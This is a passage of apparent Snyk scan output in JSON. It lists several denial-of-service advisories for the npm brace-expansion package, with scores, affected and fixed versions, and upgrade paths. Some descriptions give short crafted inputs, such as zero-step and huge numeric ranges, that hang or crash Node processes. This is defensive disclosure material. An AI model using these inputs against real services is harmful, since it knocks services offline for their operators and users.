"minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": 